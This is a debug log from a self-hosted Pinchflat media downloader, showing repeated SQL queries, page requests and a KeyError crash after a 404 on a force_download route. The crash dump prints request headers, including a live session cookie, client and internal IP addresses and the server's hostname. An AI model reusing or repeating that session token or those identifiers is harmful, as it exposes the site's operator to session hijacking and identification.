s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:14.517 [debug] QUERY OK source="settings" db=0.3ms idle=155.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:14.518 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=155.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:14.524 [info] Sent 200 in 10ms 06:03:14.673 [info] GET /media_profiles/new 06:03:14.673 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.new/2 Parameters: %{} Pipelines: [:browser] 06:03:14.675 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=310.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:14.676 [debug] QUERY OK source="settings" db=0.3ms idle=160.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:14.677 [debug] QUERY OK source="settings" db=0.3ms idle=159.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:14.678 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=160.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:14.679 [debug] QUERY OK source="settings" db=0.0ms idle=160.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:14.681 [info] Sent 200 in 7ms 06:03:14.831 [info] GET /media_profiles/2/edit 06:03:14.831 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.edit/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 06:03:14.832 [debug] QUERY OK source="media_profiles" db=0.4ms idle=156.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:14.833 [debug] QUERY OK source="settings" db=0.3ms idle=157.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:14.834 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=157.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:14.836 [debug] QUERY OK source="settings" db=0.3ms idle=157.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:14.841 [info] Sent 200 in 10ms 06:03:14.992 [info] GET /media_profiles/1/ 06:03:14.993 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 06:03:14.994 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=314.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:03:14.996 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=162.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 06:03:14.997 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=163.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:14.998 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=163.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:14.999 [debug] QUERY OK source="settings" db=0.3ms idle=163.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:15.003 [info] Sent 200 in 10ms 06:03:15.150 [info] GET /download_logs 06:03:15.150 [debug] Processing with PinchflatWeb.Settings.SettingController.download_logs/2 Parameters: %{} Pipelines: [:browser] 06:03:15.151 [info] Sent 200 in 959µs 06:03:17.368 [info] GET /media/d945a9e6-859f-4f8f-9df5-2d1d56b66268/stream 06:03:17.369 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "d945a9e6-859f-4f8f-9df5-2d1d56b66268", "v" => "1780530285"} Pipelines: [:maybe_basic_auth] 06:03:17.370 [debug] QUERY OK source="media_items" db=0.7ms idle=787.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["d945a9e6-859f-4f8f-9df5-2d1d56b66268"] 06:03:17.371 [debug] Invalid range request for media item: d945a9e6-859f-4f8f-9df5-2d1d56b66268 - serving full file 06:03:17.371 [info] Sent 200 in 2ms 06:03:19.656 [info] GET /sources/31/media/141520/edit 06:03:19.656 [info] GET /sources/31/media/141520/force_download 06:03:19.656 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "141520", "source_id" => "31"} Pipelines: [:browser] 06:03:19.657 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=1075.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.658 [debug] QUERY OK source="media_items" db=1.2ms idle=1075.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141520] 06:03:19.659 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=1076.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.659 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:03:19.660 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1077.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.661 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=324.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.663 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.660 [error] #PID<0.140038.0> running PinchflatWeb.Endpoint (connection #PID<0.140036.0>, stream id 1) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/media/141520/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/141520/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140036.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141520/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47110}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.126.10", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.126.10" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.140038.0>, params: %{}, path_info: ["sources", "31", "media", "141520", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "104.164.126.10"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "104.164.126.10"} ], request_path: "/sources/31/media/141520/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXYnbsj5F8yBTYADcoh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140036.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141520/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47110}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.126.10", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.126.10" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/141520/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140036.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141520/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47110}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image (truncated) 06:03:19.668 [info] GET /sources/31/media/141520 06:03:19.668 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141520", "prevent_download" => "true", "source_id" => "31"} Pipelines: [:browser] 06:03:19.668 [info] GET /sources/31/media/91114 06:03:19.669 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "91114", "prevent_download" => "true", "source_id" => "31"} Pipelines: [:browser] 06:03:19.670 [debug] QUERY OK source="media_items" db=0.8ms idle=10.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141520] 06:03:19.671 [debug] QUERY OK source="media_items" db=0.9ms idle=11.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91114] 06:03:19.672 [info] Sent 200 in 16ms 06:03:19.672 [debug] QUERY OK source="tasks" db=1.5ms queue=0.1ms idle=11.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141520] 06:03:19.674 [debug] QUERY OK source="sources" db=1.9ms queue=0.3ms idle=1.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:19.675 [debug] QUERY OK source="tasks" db=2.5ms queue=0.3ms idle=8.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [91114] 06:03:19.675 [debug] QUERY OK source="sources" db=3.7ms queue=0.1ms idle=10.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:19.677 [debug] QUERY OK source="oban_jobs" db=1.4ms idle=4.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7281] 06:03:19.678 [debug] QUERY OK source="oban_jobs" db=1.8ms idle=3.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6792, 6810, 6829, 6848, 6865, 6883, 6910, 6928, 6945, 6964, 6981, 6997, 7014, 7030, 7048, 7064, 7081, 7098, 7114, 7131, 7147, 7165, 7181, 7198, 7217, 7234, 7253, 7269, 7286] 06:03:19.680 [debug] QUERY OK source="settings" db=1.6ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.680 [info] GET /sources/31/media/91114/edit 06:03:19.681 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "91114", "source_id" => "31"} Pipelines: [:browser] 06:03:19.681 [debug] QUERY OK source="settings" db=0.7ms queue=0.3ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.681 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.682 [debug] QUERY OK source="media_items" db=1.2ms idle=4.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91114] 06:03:19.683 [debug] QUERY OK source="settings" db=1.1ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.684 [debug] QUERY OK source="settings" db=1.3ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.684 [debug] QUERY OK source="settings" db=0.9ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.684 [info] GET /sources/31/media/91114/force_download 06:03:19.685 [debug] QUERY OK source="settings" db=0.3ms queue=0.5ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.685 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.686 [debug] QUERY OK source="settings" db=0.6ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", 